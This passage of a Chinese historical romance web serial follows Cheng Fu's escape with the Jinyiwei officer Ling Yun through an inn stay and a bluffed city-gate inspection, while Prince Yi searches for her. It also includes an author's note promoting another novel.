说实话,匀客房几乎不可能,这年头舍得住客房的基本是拖家带口,虽说能赚到三倍客房的价钱,然而穷家富路,谁也不想在路上委屈自己,宿在外面一夜着个凉病一下可就得不偿失;再一个,都拖家带口了定然人数不少,便是想去大通铺也挤不下。 聪明的店家想到了一个折中的法子,便是自己和婆娘搬进马棚,腾空给贵客。 如此,程芙也算是入住了当地最上等的一间“客房”。 解决了住宿问题,凌云颇感疲惫,走进房间就把程芙往床上一丢,用了巧劲,摔不死她。 他道:“睡醒了再上一遍药。” 程芙哼唧了一声,眼皮睁也睁不开,然而实在是太臭了,那味道萦绕着她的鼻端,愈发浓厚,终于,她在一阵阵反胃中睁开了眼,挣扎着爬起,入目便是一床快要分辨不出本来颜色的棉被,被头泛着油光发黄,恐怖的味道便是从那里散发出的。 “呕——”程芙翻下了床。 凌云:“……” 他走过去俯身看她,也被臭气熏了个跟头。 在这个临近午时的偏远小客栈里,程芙和凌云心有余悸坐在距离那张床极远距离的两把木椅上,面色蜡黄。 许久之后,程芙才战战兢兢开口:“您不是对路程极熟么,从前经过是怎么住店的?” 观他也是个讲究人,衣领总是洁白无垢,周身清爽无异味,不像是能在这种地方过夜的。 凌云:“没有你,我甚少走这条路,便是走了也是在下一站过夜。” 程芙:“……” 所以他还真没住过。 “让……让您受累了。”她嗫嚅道。 “……” 店家来敲门,弓着腰问凌云可要用饭。 凌云悬着的心尚未落下,瞥见店家发黄的领缘再次揪了起来,“带我去厨房。” 店家:“好嘞!” 那厨房果然与凌云猜度的大差不离,地上好些烂菜叶儿,没个插脚的地方,案板上油腻腻,不知多久没刷的大铁锅里炖着冒热气的咸粥。 他咽了咽,问:“卖我些食材,再找口干净的铁锅。” 店家依言照做,有钱的客人通常都这样,开小灶做好吃的。 他找来了一口干净的铁锅,小是小了点,做两个人的饭食还算可以。 客人有洁癖,全程不许他插手,连洗菜也不许,店家悻悻然抄着手看热闹,只见凌云把菜洗得比他婆娘的脸还干净,码得整整齐齐,又用洗得比他婆娘的脸都干净的菜刀手起刀落把菜切成粗细相等的丝儿。 这功夫,莫非也是厨子。店家探着脑袋瞅,只见他挽起衣袖,露出一双劲瘦有力的小臂,和面揉面,青筋微微隆起,思及他切菜时手背的青筋,是个练家子啊…… 店家脑袋一缩,躲在了门后。 过了未正,程芙才等到了今日的第一顿饭,一锅热腾腾的阳春面,里面还卧着两只白白嫩嫩圆溜溜的荷包蛋,一碟清炒菜叶。 简单至极。 程芙端来两只早就过了遍清水的木碗,是他们行囊里的,干净放心。 她先为凌云盛了一碗,又为自己盛了一碗。 凌云扫了眼自己碗中的两只荷包蛋,将其中一只夹给她,“你已经够弱的,再不吃饱,是要累死我吗?” 程芙的脸唰的涨红了,连眼眶都是红的,低头默默吃面。 麻木是因为不敢再细想,不代表她不知自己有多令人头疼,凌云应是恨死她了。 面有一点好吃,比她以为的好吃许多,尽管她是个很能吃苦的人,从不挑食,可是又疼又累的时候能吃到这么好吃的面,还是欣慰的。 用完饭,她尽量让自己看上去有用,主动收拾碗筷,凌云摆摆手,意思是请她站远些,“当我求你了,你这个样子出去少不得又要给我添麻烦。” 她低头,目光落在粉嫩到与周围人格格不入的指尖上,又想到自己的脸,羞愧得无地自容。 最终凌云洗碗刷锅,还要帮她洗外衣,她蹲在屋里洗换下的小衣。哭泣倒不是因难为情,而是蹲下来的双腿实在是太疼了,钻心地疼,她真的快要疼死了。 待她收拾完,一脸晦气的凌云再打水服侍她洗脸刷牙。毅王精心饲养的宝贝儿跑到笼子外,受罪的人变成了他。 晚上休息前,程芙攥着双手,怔怔盯着打地铺的凌云,小声小气道:“我的模样确实太过扎眼,要不我,我扮成男子……” 好歹也能分担些活计。 凌云听她如此一说,偏过头上下扫了扫她,没说什么,哼笑一声。 闹呢,女扮男装,冬日尚且勉强,而今衣衫单薄,她胸-脯又鼓鼓的,倒在他身上时,他都能感觉到那么大一团,还有些小妇人的媚态,便是刻意束紧也会有可疑的厚度,更遑论她肌肤吹弹可破,嫩如羊脂玉,明眼人一瞧即知男女。 程芙:“不像的话,只能委屈你了……” 继续假装他的妻子。 主要是两名单身男女行路,难免惹人猜疑,遇到较真儿的,说不定还能去偷偷举报二人私奔。 倘若真的清清白白,没有官司倒也罢,大不了与人解释是兄妹,费些口舌,难就难在程芙“不清白”,怕是不久之后就要被通缉,还是轻省些为妙。 凌云“嗯”了声,感觉脖子有点热。 “你会不会梳妇人头?”他问。 “会的。” “梳完记得把脸包好,头发也包一下,普通女人根本不可能有你这样的头发。” 像是绸缎一般光滑亮泽,触感也如丝缎。 程芙一一应下。 “还有手。”他回眸看着她的手,“也不要露出来。” 她低头抹泪,嗯了声。 凌云一瞧见她这副委屈的模样就头疼,没来由烦躁,“不许哭。” 他呵斥一声,她就噤了声。 打好地铺,两人安静地躺下。 没有人想去碰那张臭气熏天的床。 地上并不宽裕,两张羊毛毡铺起来几乎合二为一,凌云没来由紧张,余光观觑,她一沾枕头就睡了,完全没有把他当回事。 不是,他没来由地生气,什么意思啊她? 她是不是就没把他当成男的? 越想越气,然而这一路才刚刚开始,他已经受了太多的气,也不在乎又多了一桩。 夜已深,细微的风从特意敞开一点缝隙的窗子吹进来,吹散了浊气,凌云侧过头,程芙面朝他的方向,睡得香甜。 不知梦到了什么,轻轻呓语两声。 凌云仔细分辨,方才听懂,她说:“疼,我要喝水。” 娇滴滴的,使唤着梦里的人。 那不是与婢女讲话的语气—— 作者有话说:谢谢,真的很感谢!《千般》是今年最后一本,也是我自己爱吃的梗,我真的好爱,谢谢你们也喜欢[求你了] 顺便推一下预收文《被登基的前任报复了》 【强取豪夺】【前任复仇复到了一个被窝】【被窝外打架,被窝里和好】 年少的皇太孙,音色清澈动人,对温浅道:“若得表姐为妇,当作椒房专宠。” 少年的誓言诚挚动人。 时光荏苒,五年后。 新帝登基两载,后位空悬,膝下尚无一儿半女。 这一年,温浅的未婚夫病故,她饱受族人苛责。 未料父亲骤然东山再起,并将她献给了表弟——当今新帝,封正五品美人。 …… 二十岁的温浅应了年少的戏言,成为表弟的妇人。 未料奸人揭发她为早逝的未婚夫写悼词,表弟噙着玩味的笑,当着她的面漫不经心念起来,末了,认真指出两处乏味造作,建议她提升内涵多读书,又道:“阿姐端的深情,世间哪个男子见了不怜惜。” 他口中的“怜惜”别有深意。 是夜便留宿将她“怜惜”,直至她有孕。 后来,他亲手为她戴上名为凤冠的“枷锁”,将她一生一世“锁”入椒房。 是他的报复,亦是他的誓言。 ——阿姐,你人品真的很差。 ——阿姐,你玩弄我的真心,我玩弄你,咱俩彼此彼此。 随遇而安伪乖女x纯情阴暗大坏批 ——食用指南—— 1.男女双C,俩人各有各的缺点,均非真善美,建议雷点密集的宝宝谨慎入坑,注意强取豪夺四个字,如觉不适立即撤退,弃文不必告知,温言善语,你一定发大财! 2.架空历史,谢绝考据。 3.年龄差半岁 文案发表于2025年10月03日,已截图存证,碰瓷偷盗必究 第40章 同样的夜, 阿芙消失的第十六个时辰,崔令瞻在月地云斋的东厢房来回踱步,骤然停驻, 望向寂寥的宫灯, 他听见自己焦灼的呼吸声。 蓦地转身, 陈设一如她离开前, 小几上放着打了一半的络子,寝卧里还有留给他的“礼物”, 无声地嘲讽和怨怼。 起初他也不清楚那是什么,闻着有药味, 找御医看了看, 说是上好的避火丸,厉害之处是掺了情-药。 用极为廉价的地台草所制,全部药材常见且无害, 也就是她可以轻易从生药库或者其他地方拿到,并无从犯。 崔令瞻把避火丸死死攥进手心,眼睛有些模糊,像是蒙了一层水雾,清瘦身形被灯影拉得很长,形单影只。 他抬眸看见了窗外的明月。 像是她的眼睛。 怨不得每次一亲热就说内急。 那些逼真的耳鬓厮磨、柔情蜜意,全都是因避火丸吗? 阿芙。 崔令瞻垂下眼睫, 慢慢坐进了她喜欢的那把摇椅, 光滑的花梨木面尚余女儿家浅浅的发香。 夜的云漂浮,渐渐遮住了他的明月。 又悔又恨。 悔轻信她虚情假意,恨轻易捧出自己一颗滚烫的心。 他待她的心,每一次都是真的。 四更天,窗外传来公鸡扯着脖子的打鸣声, “喔喔喔——”。 程芙睁开眼,怎么就醒了,翻过身,睡意消减大半,她轻轻叹息,又翻了次身,毫无预兆地撞上了凌云。 四下浓黑,她自是看不清什么,却能感觉到陌生的热息近在咫尺,喷在了她脸颊。 她骇然失色,往后躲,毛发根根立起。 凌云支起上半身,点燃附近的一根蜡烛,惺忪睡颜的轮廓在火光里深邃朦胧。 “又怎么了?”他问。 程芙:“没,没事,我被鸡鸣吵醒了。” 他没说什么,忽然拍拍自己身下的毛毡,道:“你睡着了都是这么黏人?” 程芙不解地看他。 他审视她片刻,“你说冷,就翻进了我怀里,我觉得这不太好,便挪到了边上睡,你还是翻了过来,把手放在我腋下取暖。” 程芙的太阳穴轰的一声炸开了,唇瓣翕张,呐呐无言。 “我当时很困,想着随便吧,谁知你变本加厉,翻来覆去吵得人睡不着。”他慢慢道,双眸似有压抑的光,“你,莫非想勾引我?” 程芙晃了晃,极力摇头否认,这才发现自己一直睡在他的毛毡上。 她面红如血,羞愧到无地自容,喃喃道:“对,对不起,我发誓……我真的没有对您不敬的想法。” 凌云重新躺下,慵懒的声音微微沙哑,“你最好是。” 程芙小声道歉。 “因为你,比预期的行程慢了半天,知道意味着什么?”他偏头看着她。 程芙:“……” “毅王的八百里加急或许比咱俩更早抵达燕阳城门。”他的眼睛酽酽得深,“你会发现关卡重兵把守,严查过路的女人,待守城护卫揭开你的面巾,发现你那张完美无瑕的小脸,再核查你的册籍,你就等死吧。” 程芙:“……” 凌云:“吓傻了?” “你,你不早说。”她浑身发抖。 “我说了有用?难不成要我抱着你日行四十里?”凌云气得坐直身子,她顿时矮了一截,吓得又往后缩,也想起了两股的伤,一阵阵痛楚传来。 她无言以对,怔怔瞪着倾身凑近了的凌云,四目相对,目光胶着了许久,他的喉结微微滑动了下,轻哼一声,重新躺下,背对着她。 程芙:“……” 她有许多话想问,盯着他的后背发了会儿呆,终究是没敢开口,也讪讪躺了回去,这一躺竟然心大地睡着了。 再醒来,天光微熹,她正蜷在凌云的怀里。 程芙后背浸出一层冷汗,连呼吸也停了,手忙脚乱爬了出去,而后警惕地望着他,望了许久,纤细的十指攥得发白。 他动也未动,她那颗提到了嗓子眼的心脏适才缓缓降落。 不多会儿他揭开绒毯,冷着脸起身,套上贴里,打开门出去了。 店家系着一条油污斑斑的围裙,笑着招呼凌云,“客官早,水已烧开,旁边木桶放的可是咱们这儿的山泉水,水壶和木桶都是刷干净的,您请过目。” 凌云点点头,一手拎一只回屋服侍“大小姐”梳洗,他用脚踢了踢门扉,“是我。” 屋里传来程芙的声音:“进来吧。” 她已穿戴好,头发抿得整整齐齐,坐在铜盆附近。 他走过去默然添水,兑了些许热水。 从未跟女孩子相处过,不是很懂她为何洗脸洗脚都要用温热的水,夜里手和脚也是凉的,这个天明明不冷啊,转念想到,或许这是她与毅王的生活习惯吧,也或许昼夜温差确实大了些,一层绒毯下的她瑟瑟发抖。 她抖的厉害,影响到他睡觉了,所以他往她身边挪了挪,她翻个身就翻进了他怀中,沾上了暖意,她果然不抖了,自然而然地贴紧了他,柔软的手搭在他脖颈上,又滑到了他腋下…… 声音娇滴滴的,人也娇滴滴的,他感觉有点恶心,几乎能想象她和毅王私下何等轻浮,拳头越攥越实,想要推开她。 抬起的手却顿在半空,转而为她掖了掖绒毯的一角,抱着她闭上了眼。 其实也情有可原,她被毅王睡了一年,难免养成了一些习惯。 若是真的留恋,也不会走得如此决然。 女人的身子不比男人火力旺,五月初的村落,深夜凉气重,一层羊毛毡铺地加一层绒毯裹身根本不够,若非后半夜凌云抱着她,她怕是要不行了。 程芙说话的声音带了些鼻音,脑袋也有点沉,忙从包裹里摸出两粒应急的药丸吞下,防止寒气侵体。 洗漱完,她把水泼在门口,听见人声立即避进了屋。 凌云在厨房做早膳,旁边的小炉子炖了一碗姜汤,红糖还是店家跑了半个村子求来的。 食材只有菘菜豆腐鸡蛋、米面,便是鸡蛋也仅剩两枚,还是小母鸡现下的,大小也就比鸽子蛋大些许。 店家:“客官,今天中午屠户家要宰羊,您再多住一日,羊肉管够,我再问西面的渔船订购些河鲜。” “不了,吃过早膳我们赶路。” “好吧。” 小哥年纪不大,做的一手好饭。店家眼馋地咂咂嘴,瞅着凌云烙的芝麻饼,菘菜豆腐羹,还有香气扑鼻、软嫩金黄的蛋羹。 适才他还建议蒸蛋羹不如烙鸡蛋饼,吃起来喷香又过瘾,做蛋羹太过浪费,都不够爷们三五口。 客官惜字如金回:“内人身弱,蛋羹易克化。” 店家讪讪,鸡蛋都给女人吃真的很浪费。 饭菜端进屋,程芙也摆好了碗筷,凌云端给她一碗姜汤,还有一碗蛋羹。 “先把姜汤喝了。”他说。 程芙嗯了声,低头小口小口喝姜汤,喝完了果然身子暖起来,鼻塞似乎都轻了。 粉雕玉琢的小脸浮出了桃花的颜色。凌云移开了视线。 程芙:“蛋羹,你吃。” 她实在不忍心吃独食,尤其拖了后腿的情况。 对面这个端茶倒水洗衣做饭伺候她的倒霉鬼,才配吃鸡蛋羹。 “少啰嗦,叫你吃便给我吃干净。”凌云说,“娇里娇气的,不吃好些等下生病了又要连累我。” “对不住您了……” 她的脑袋又被他说得垂下了。 凌云:“……” 毅王应是不会这样说她的,总是充满耐心地看着她,对她一些不敬的小表情也不以为忤,荣华富贵娇养着。 然而千好万好有何用,还不是留不住她的心,随他跑到了这个鬼地方,但凡他动一点歪脑筋,就能让她哭到悔青了肠子。 可气的是她竟一点儿也不防备他。 莫名的自尊心使凌云如鲠在喉。 他黑着脸,埋头吃饭。 日头渐渐升高,凌云装满水囊,扳鞍跃上马背,俯身探出手臂对愣神的程芙道:“过来。” 她一瘸一拐走过去,被他单手掐着腰卷进手臂,一提,人就腾空侧坐马背,双腿紧紧抵着他左边的大腿,当伤口不似昨日那般疼痛刺骨,她终于分出心觉知到了尴尬。 肌肤的温度透过单薄衣料来回传递,甚至能清晰地感觉到他微微偾张的肌肉线条,程芙慌慌张张,一时双手不知该往哪里摆放。 不怪凌云的脸色一直那么黑,不仅要伺候她还要被她占些许便宜,换谁也高兴不起来。 她垂着头,两手抄在袖子里。 凌云甩了下缰绳,左臂搂着女人绝尘而去,马蹄飞快,她坐不稳了,忙不迭抱住了他胳膊。 凌云:“休要矫情,昨日又不是没抱过,连睡觉都抱了,你此时环住我的腰好叫自己不跌下来摔死真的很难?” 程芙:“……” 默默环住他的腰,抿唇不语。 凌云:“……” 腾出手臂的他,一下比一下用力甩动皮鞭,程芙只觉得两耳阴风呼啸,整个人不若腾云驾雾,这样的速度与冲击力,跌一下怕是真能摔成烂泥…… 两个时辰后,燕阳城门黑色的檐角清晰可见,凌云勒马伫立,远眺观察了一番,低头问程芙:“渴不渴?” 她摇摇头。 “我去那边探探情况,你怕不怕?” 他要她一个人留在原地。程芙惶然四顾,是官道,书上说官道时有官差、客商过往,周围地势开阔,青天白日的断不会有野兽和贼寇伤人。 “嗯,我在这里等你。”她回。 凌云跳下马,掐着她腋下,将她举了下来,摸出腰间一把匕首递与她,“怕的话就拿着它。包裹里有一包冬瓜糖,付大娘说你爱吃,若饿了就先吃些。” 程芙仰脸看了看他,接过匕首:“谢谢大人。” 凌云看了她一眼,转过身朝着城门的方向匆匆走去。 程芙一人两马站路边的大槐树下枯等,一刻钟,两刻钟,三刻钟,眨眼半个时辰就没了,也不见凌云身影,她略感紧张。 这是她第二回 独自远行,想那第一回就摊上官司,落进毅王手里。此番,倘若凌云中途变卦抛弃她,她怎能不怕? 《燕阳地理志》并不能让她对所有的道路了若指掌,便是了若指掌了她也很怕遇到坏人,她的力气很小……程芙心乱如麻。 直到两个时辰过去,她纷乱的心脏渐渐停摆了,木木望着飞驰而过的马车,任黄尘袭满她的脸颊,和着两行清泪滑落,滑出了黑白分明的沟壑。 他,果然把她给扔了。 就因为她骑行八个时辰双腿便受伤,打个地铺还着凉。 她泣不成声。 “谁又惹你了?” 头顶传来凌云的声音,她猛然止泪。 凌云望着她的花脸,哈哈大笑,“你莫非以为我跑了?” 程芙微抿唇角:“没有。” “我真是欠了你的。”他小声咕哝,指了指身后的马车,“上去把脸擦干净,更衣梳头,打扮漂亮些,衣服就在褥子上。” 程芙满腹疑问,却依言照做,不一会就梳妆打扮好。 “大人,您消失了这么久便是去弄马车和新衣?”程芙担忧道,“咱们这样会不会过于招摇?” “低调不好使,你的脸藏不住。”凌云登上马车,兀自解下腰带,脱掉贴里,程芙一惊,慌忙转过身,一瘸一拐转到了帘子后。 凌云嗤笑一声,继续更衣,不多会便换好,将程芙叫进来,捏着她下巴看了看,“把胭脂水粉画上,这里还有这里,浓一些。” 妆容这块程芙不算擅长,但基础的东西还是可以的,只是画出来的效果略普通了一些,反而掩盖了她真实的姿色。 凌云眯着眼打量,“还不错。”又低眸绑自己的箭袖,道,“我一般不这么高调,奈何情势所迫。” “你穿的挺好看的,不丢人。”程芙道。 红底锦衣玉腰带,绣着金色的鱼龙,周身笼罩着迫人的威势,衬得他面如冠玉。 “好看?”她的话似乎将他逗乐了,凌云撩眼看定她,慢慢道,“你可知我这身锦衣叫什么?可知那些官兵见了不若遇到浑水猛兽?” 程芙:“……” 他将她扯进怀里,捏着她惊慌的脸颊道:“听好了,不想死的话等会照我说的做。” 凌云挑开窗帘,对蹲在不远处的马夫道:“驾车。” 燕阳城门,深灰色的砖石累成了高达九丈九的城墙,门洞宽约三丈,进深七丈,来往设有铁铸的路障,官兵站成排,守卫森严。 人们排着队接受盘查,奉上路引册籍。 非年节日,又是午后,行人稀少,不多会儿就轮到了一辆宽阔气派的马车,车夫奉上家主的册籍,守卫淡淡扫一眼,皱眉道:“劳烦车里的大人下来一趟。” 连续说了两遍,车内才传来一道傲慢的年轻男子声音:“你算什么东西,也配让小爷下车?” 嗨哟,还是个硬茬,守卫冷笑,总有些权贵在毅王的蕃地不信邪。 他道:“小的自是不配大人之尊下车,然则小的奉毅王之命,在此拦截朝廷要犯,兹事体大,由不得大人了。” 说罢,上前以剑鞘猛地撩开锦帘,瞳仁当即缩了缩。 车内充斥着酒香熏香还有脂粉香,香-艳绮丽,一名锦衣卫正怀抱美人寻欢作乐,他的唐突之举惊得美人花容失色,掩面趴在锦衣卫肩上。 “找死。”凌云拔刀甩手飞掷,守卫大惊失色,偏身侧躲,只见一柄寒光森森的长刀直直插-进车辕,刀柄花纹繁复。 守卫可能不识绣春刀,但不可能不识飞鱼服,从他的玉腰带不难猜出已有正三品,顿时白了脸。 凌云冷笑:“北镇抚司凌榆白,奉皇命办案路经此地,怎么,你们还要替皇上审问我?” 说着,他从衣襟掏出赤金令牌,朝守卫丢去。 守卫躬身两手接捧,令牌赫然刻着几个大字:北镇抚司指挥佥事凌榆白。 没听过凌榆白的大名,但令牌是货真价实的。 世人皆知北镇抚司的最高长官乃常都督,其下便是指挥使与指挥佥事,权势赫赫,恣肆枉法,正常司狱刑典在他们眼中如若无物,行径惨烈,惹上轻则曝尸荒野,重则家破人亡。 程芙的下巴在凌云的肩膀抖了抖,她不认识绣春刀也不认识飞鱼服,但要说锦衣卫三个字,大昭上下谁人不知谁人不晓? 凌云感觉到她在发抖,用力扣住她软腰,问守卫:“还没看完?” 守卫白着脸,抿紧了唇,将令牌双手奉还:“大人恕罪,小的也是奉命办事,不敢叫大人尊驾移步,只是这位姑娘……” 凌云邪肆一笑,轻抚程芙的薄背,幽幽道:“是不是很美?我看她长得像细作,正要严刑逼供,你就不长眼地闯过来。” 程芙微弱道:“守卫大哥,救救我,我是良家子。” “闭嘴,小爷说你像细作你就是细作。” 守卫咽了口唾沫,左手攥拳,到底是没敢阻拦。 凌云啧啧两声,“还不滚?难道你也想加入?” 守卫倒吸一口凉气,迅速后撤了两步,“不敢,小的不敢。” 凌云斜了他一眼,捏起美人的下巴,捧着她的脸吻了下去,唬得守卫面如土色,早已退出了十步开外,厚重的锦帘垂落,挡住了满目香-艳。 程芙知道凌云亲的是他自己的拇指,但他的拇指压在她唇上,唇与唇之间仅隔一根拇指还是挺吓人的。她用力推开他,胡乱擦了擦嘴,缩在了角落里。 凌云也擦了擦自己的嘴,松一松衣襟,淡淡道:“走。” 外面的车夫闻言,立即登车,扬鞭“驾——”一声,飞扬跋扈驶离。 守卫自是不能正面与北镇抚司的指挥佥事交锋,却在最短的时间内飞鸽传书,前往毅王府通禀异常。 两匹卑然马所驾的马车一路狂奔,一个时辰后,车夫领了笔巨款告退,凌云三下五除二换回墨蓝贴里,亲自驾车继续朝着京师的方向而驰。 马车里的程芙呆若木鸡。 凌云是锦衣卫…… 杀人不眨眼的锦衣卫…… 她缠着这样的人护送她回京,还威胁他…… 可是出燕阳,再紧赶慢赶五六日出广江,她就自由了。想到了这些,程芙觉得一切也不算太糟糕,总比背弃阿娘,抹掉自己存在的痕迹,变成一名虚假的贵女,一生仰毅王鼻息来得强百倍。 她恨他。 明明她是无辜的,却平白被他欺负了那么久。 他确实对她好,可他对乌金姑,对乌月也好,她不过是他的猫儿狗儿。 现在就挺不错,她觉得自己像个人。 程芙眼眶发酸,仰脸逼退泪意,让自己开心起来。 这样想着,人也卸了力气,肩膀不再紧绷,软软倚着车围子。 松弛下来,一阵阵饥饿感紧随而至,她已经一天没有进食。 马车越走越慢,停在了一处湖泊附近,凌云走进马车,倒了杯水递给她。 “我去生火做饭,你不要乱跑。”他说。 程芙点着头,温顺回:“嗯。” “把门窗关上。” “要去多远?” “就在附近。”凌云说,“你大声喊我,我便能听见。” 程芙咽了咽,“好,您去吧。” 她在车上睡了一觉,醒来时浑身无力,凌云舀了一勺粥喂给她,她轻启唇瓣抿进了口腔,软糯鲜甜,居然是她吃惯了的碧粳米。 凌云不言不语,一勺一勺喂着她,看起来跟正常人也没两样,兴许他是锦衣卫里头不管杀人的那个,程芙这样想着,渐渐就不怕他了。 “好香,是烤肉的味道。”喝下半碗粥,她恢复力气也开了胃。 凌云:“你在发热,不能吃。” 程芙心道我果然是没用,落寞地垂下长睫。 凌云把碗放回方几,到底是对她有几分好奇,旁敲侧击道:“何必出来受这份罪,难道毅王对你不好?在我身边,我可不会惯着你。” “大人所谓的‘好’是什么?”她幽幽看向他。 暮色四合,车厢也变得昏蒙,凌云的脸庞覆着阴影。 凌云:“荣华富贵娇养你,这还不够?” 程芙:“上个月廿八,他还许诺我,年底便与我拜堂成亲。” 凌云:“……?” “大人是不是觉得我疯了?”程芙轻咳两声,试着坐直身体,摇摇晃晃,凌云扶住了她双肩,她抬眸望着他,眼眶发红,“可我不稀罕,我一点也不想要他!” 她生气道:“凭何他想怎么摆布我都能如愿?让我做奴婢,我就是奴婢,让我做妾我又得做妾,现在突然要娶我了,我就必须嫁给他?” 大颗大颗的眼泪,像珍珠从她眼眶滚落。 “他还要我认一个陌生人做亲爹,佯装高门贵女,抹去我阿娘的存在。”程芙尖声道,“他凭什么?那是我的阿娘,生我养我,教我自尊自爱和求生的本领,她救了那么多女人,只因曾被亲爹卖入风尘,就要被你们所有人瞧不起!” “阿芙,你病了,冷静一下。”凌云说,“不要乱动。” “我不要你管,我知道你也瞧不起我。” “你这是对我生气呢,还是对着他?”凌云不屑道。 程芙跳起来,掀开绒毯就要冲出车厢,当然是冲出去透透气,她并没有潇洒离开的本领。 凌云掐住她的腰将她拦了回去。 她死死咬着下唇,待他松手,她就坐起来,重新下榻,又被他按了回去,如此反复了五六次。 凌云抬手捏住她下颌,提到跟前咬牙道:“作死的小玩意,再给我横一下试试,我还治不了你。” 程芙:“……” 她望着他凶神恶煞的脸,理智逐渐回笼,毫无根由的愤怒烟消云散,而后动也不动,凭他瞪视,眼泪啪嗒啪嗒滴在他的虎口,一滴两滴三滴,仿佛滴在了他耳廓,鼓颤着耳膜。 凌云微怔,屈指轻揩她粉腮,把瘫-软的她抱进了怀中。 “不要哭了,我不凶你便是。”他闷声道。《 》 40-45 第41章 程芙的消失让习惯掌控秩序的崔令瞻, 头一次尝到了钻心的滋味,就仿佛策马疾驰,心神畅游, 冷不防一个急转弯, 人仰马翻, 摔得他眼前一阵阵黑线。 当务之急是在各要道增设关卡。 早在回程途中他已命手下持自己的令旨奔向城内城外, 戒严各处要道,周边各城镇更是百步一岗, 严查来往行路之人,包括但不限于大小客栈, 一旦发现嫌疑男女立即交由上官复核。 运气好的话或许能把阿芙拦住。 彼时, 除去晕倒的两刻钟,崔令瞻再未合眼,直到初四巳时, 因体力不支,躺在自己与阿芙的寝卧睡了去。 而他的想法也在睡梦中一步步转圜,起先是把人抓到手,定要狠狠给她些苦头吃,好叫她知晓从前他待她有多和颜悦色,有多疼爱她;知晓如今他有多郁恨难消,便是没有情-药, 也能弄得她露滴海棠, 哀求连连!哄不服的女人先-睡-服! 可一想到那双倔强的眼,他便怂了,报复什么的先搁一边,抓到时想必她也吓个半死,还是先不要唬她为妙, 把人好声好气哄回家再说。 发疯只会便宜了外面的男人,让她益发觉得别人好,然后排斥他疏远他。 可他的郁恨如何来平?一滴清泪自崔令瞻昳丽的眼尾滑落。 一个水灵灵的鲜活人凭空消失,外面的人察觉不了,月地云斋的人断无可能无知无觉。 好在能服侍到这里的都不差稳重,知道什么该说什么不该说。 薛姑姑略作解释——芙小姐早前就受了恩典拿回身契,已是良家子自由身,且男大当婚女大当嫁,便回原籍备婚去了。 至于跟谁备婚,戛然而止。 清楚这些便成,不清楚的也少打听。 闻者心中有数,停下议论,散去各忙各的。 其实这套说辞倒也圆融,不细究的话合情合理,只是当中蹊跷压根瞒不过绿娆等人,但她们有脑子,越是蹊跷越要表现出稀松平常。 因王爷的状态看起来很不好。 一天一夜未曾合眼,初四过了巳正才歇下,正躺在他与芙小姐的那间寝卧里。 男人与女人思考问题的逻辑有很大区别,男人重结果,女人重细节,但心脏疼起来的痛苦都一样。他现在应是特别疼,状如失身失心的深闺怨妇,当然这种话绿娆是万万不敢讲出口的。 墨砚光是听绿娆描述王爷水米未进就感到头皮发麻,隐约觉得情况不太对劲,他向来了解毅王,此番怕不是动了真格。 绿娆撇了撇嘴,嘀咕道:“就你还了解毅王?才知他动真格?这位祖宗自去年回府,魂儿就没从芙小姐身上下来过,明明招招手就能解决的事,他愣是闻着味儿转圈不敢下手,后来芙小姐搬进东厢房,他就见天儿往里头钻,连外书房也甚少过去了……” 不等说完,她自己捂了嘴左右环顾,也不管墨砚什么脸色,迈着小碎步跑了。 此时另有一人,无比惦记程芙的去向,那便是程芙的忘年之交付氏。 她昨儿来过一趟月地云斋,因那日是初三,与阿芙研习岐黄之日。阿芙甚少爽约,真有什么事也会打发人提前告知她的。 偏昨日月地云斋大门紧闭不待客,守门的婆子见是她才吐露两句话,也是含糊其辞的:“芙小姐进香去,还未归。” 付氏纳闷,可也不好纠缠,遂改为次日登门,次日-婆子就换了个说法,这回说的相当流利:“芙小姐得王爷恩赏,欢欢喜喜回原籍了。” 付氏:“……” 这话糊弄旁人可行,焉能糊弄得了付氏。 她与阿芙好歹相处了大半年,时常交心,阿芙便是没有正面回应自己底细,也从细节和一些零碎言语里透露了身世,因而付氏再清楚不过!阿芙能有什么原籍,无亲无故的不叫原籍,可怜的孩子连个家都没有的,便是王爷恩赏,她要去也该去京师投奔姨母。 连付氏都能猜出程芙唯一能投奔的便是姨母,崔令瞻自然也想到了,只不过心眼多的人往往同时想七八种可能。 崔令瞻设想的多种可能里包括投奔姨母,若真如此,他便也不会那般恐惧了。 怕只怕她叛逆性子上来,与拐骗她之人私奔,而后被人卖了。 以她的姿色怕是万金不止,人为财死鸟为食亡,重金之下难保拐骗她之人不拿错主意。 人性是最经不起一点考验的。 阿芙发生了什么?付氏的这个疑问在荀御医那里触摸到了些微答案。 她只身前往荀御医处,一进门就单刀直入:“我只两日没见着阿芙,今早月地云斋的婆子便与我说她回原籍了,怎走得这般急迫,也不跟咱俩打招呼?” 荀御医从一堆古籍中探出头,想了下,回:“兴许有什么难处,将来方便讲自会有书信来往,你且安心。” 付氏:“……” 荀御医:“过来,给你看样好东西。” 付氏走过去,但见荀御医正用小银匙拨弄着两颗药丸,深褐色。 “哪儿弄的?”她问。 “阿芙留下的,王爷不明成分,特命我查究。”荀御医兴奋道,“这玩意好啊,比宫廷御用的毒性还弱,不,可以算是完全无毒。我研究了半晌尚未确定每种药材的比例,好想亲自问一问阿芙。” 付氏:“这啥药?” “避火丸!”荀御医宝贝似的捻起一颗,“更妙的是加了情-药,以地台草所制,若以依兰替代,必定更完美!” 付氏心头一个大跳,稳着腔调儿说:“哈,好厉害,还有哪些药材啊?” “都很常见。”荀御医说完报了一连串的花名。 付氏听得心惊肉跳,前后串联起来,可不都是她给阿芙采买的,就不知阿芙为何没用她买的依兰,而是继续用地台草,下一瞬,她了悟了,神色登时变幻。 从荀御医所言可知王爷也是第一次发现此药,阿芙走得蹊跷,怎就专门留下这味药? 感觉像是在羞辱王爷…… 那问题就很严重。 “想来阿芙不用依兰是为了保护我!”付氏后怕地擦一擦额头,在心里嘀咕,“要不然王爷顺藤摸瓜一查,此刻焉能有我好果子吃?” 是夜二更,王府收到飞鸽,王爷才歇下不到一个时辰,墨砚心知紧急便先阅明情况,果然与芙小姐有关,自是不能延后,他走到槅扇外,温和着声气唤醒毅王。 “王爷,燕阳城那边有消息。” 寝卧里随即传来起身的动静,少顷槅扇被推开,毅王一身雪白中衣,青丝及腰,走了出来。 墨砚双手递去:“这是信函。” 崔令瞻抬手接过抖了抖,默看,待一阅完,一杯温度适宜的茶递到了手边。 墨砚:“王爷且先喝口安神茶,顾惜自个儿身子。” 崔令瞻端着饮一口,慢腾腾放下了。 墨砚不时瞄一瞄毅王的脸色,拿不准主意。 毅王看上去也没有多大的波澜,跟平时无异,不过当那只盘着墨玉珠串的手探向茶盏时,墨砚就知道还是挺严重的。 王爷的手探向旁边的空茶盏,端起,放到了唇边,墨砚淌了一头冷汗。 